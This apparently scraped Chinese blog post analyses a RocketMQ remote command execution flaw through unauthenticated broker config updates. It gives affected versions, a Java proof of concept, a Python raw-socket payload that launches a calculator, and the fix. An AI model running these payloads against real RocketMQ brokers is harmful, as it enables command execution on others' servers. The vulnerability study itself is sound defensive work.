当前位置: 首页 > news >正文

注册网站平台wordpress三栏主题

注册网站平台,wordpress三栏主题,做网站个人怎么赚钱吗,wordpress采用的mvc漏洞简介 RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令…

漏洞简介

RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

安全版本

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

漏洞复现

在本地创建 maven 项目 并添加依赖

<dependencies>   <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --><dependency><groupId>org.apache.rocketmq</groupId><artifactId>rocketmq-tools</artifactId><version>5.1.0</version></dependency>
</dependencies>

编写漏洞利用代码

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;import java.util.Properties;public class poc1 {public static void main(String[] args) throws Exception {// 创建 Properties 对象Properties props = new Properties();//修改rocketmqHome配置props.setProperty("rocketmqHome","-c gnome-calculator test");props.setProperty("filterServerNums","1");// 创建 DefaultMQAdminExt 对象并启动DefaultMQAdminExt admin = new DefaultMQAdminExt();//此处为 namesrv 端口,此端口无需可访问admin.setNamesrvAddr("192.168.222.130:9876");admin.start();// 更新配置⽂件//此处为 broker 端口,必须可访问admin.updateBrokerConfig("192.168.222.130:10911", props);// 关闭 DefaultMQAdminExt 对象admin.shutdown();}
}

漏洞分析

20436bc2ba3a687a948385e48c98663f.jpeg 1acbc46d7f63a797a47514914b743caa.jpeg 91831a9f53bdb1f7d140c28b89211364.jpeg fef1a13d5ec00c6ffb370a555bbb4261.jpeg

我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数

org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能

03a7a120edeef06c2ecf74d3b0dc46b7.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest f18fdfc7d04107ccadca26cbd9ef1b44.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig 863372a0726ca3a3a267be699202b9ee.jpeg org/apache/rocketmq/remoting/Configuration.java#update 79442e14d0e76f06598469550bac18ea.jpeg

如果属性名是其内置的,就进行更新操作

后面的一部分就比较清晰了

org/apache/rocketmq/broker/BrokerStartup.java#start

7c9482ac4c81912047fa0703bec13b29.jpeg org/apache/rocketmq/broker/BrokerController.java#start 5819319038559e732aea9fb62b0985d1.jpeg org/apache/rocketmq/broker/BrokerController.java#startBasicService 581ee0352eb73663a688677ee6770faf.jpeg
image
org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start 0fc9a3d1e9bbcbffc56adf5776c9f41a.jpeg
image
根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞
import socket
import binascii
client = socket.socket()# you ip
client.connect(('192.168.222.130',10911))# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

漏洞修复

移除了命令执行的模块

0715abe40432bb426522330e2e0273c1.jpeg

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

a37b24c45dab6e53b652516b904ef9a5.gif

靶场实操,戳“阅读原文“

http://www.yayakq.cn/news/734919/

相关文章:

  • 网站建设公司 腾佳wordpress影视源码
  • 搭建网站 网页湖北建设信息网官网
  • 北京华兴森茂印刷网站建设项目想做网站怎么做
  • wordpress直接访问站点品牌宣传推广方案
  • 西安免费建网站制作淄博高效网站建设找哪家
  • wordpress本地网站网站建设属于哪种职位
  • 个性化企业网站制作公司宁夏成城建设集团网站
  • 衡水营销型网站建设金融产品做网站推广
  • 做生意的网站沈阳网站建设哪家做得好
  • wordpress 侧边栏调整关键词优化排名技术
  • 新增网站推广教程网站模板资源
  • 学校网站内容建设方案会网站开发没学历
  • 资产负债表在哪个网站可以做免费做网站建设
  • 优化网站软文深圳海外推广
  • 高校校园网站建设如何上国外购物网站
  • 个人建网站2016年网站建设总结
  • 大型网站建设需要wordpress 4.7.3主题
  • 济宁网站制作公司苏州优化费用
  • 如何在建设教育协会网站注册考试建设进出口外贸网站
  • discuz培训网站模板下载wordpress 滑动
  • 辽宁天一建设有限责任公司网站wordpress中文免费企业主题
  • 企业网站管理系统php源码网站内网页标题对百度排名
  • 上海网站建设 销售小游戏网站网址
  • 取名网站怎么做做天猫网站要多少钱
  • 什么网站可以做旅行行程单网页传奇国度
  • wordpress网站上传网站建设外包服务安全管理制度
  • 建网站 赚钱seo零基础教学
  • 博客 wordpress主题南昌网站seo外包服务
  • php自己做网站沈阳网站建设技术公司排名
  • 众筹平台网站建设中国建设银行网站用户注册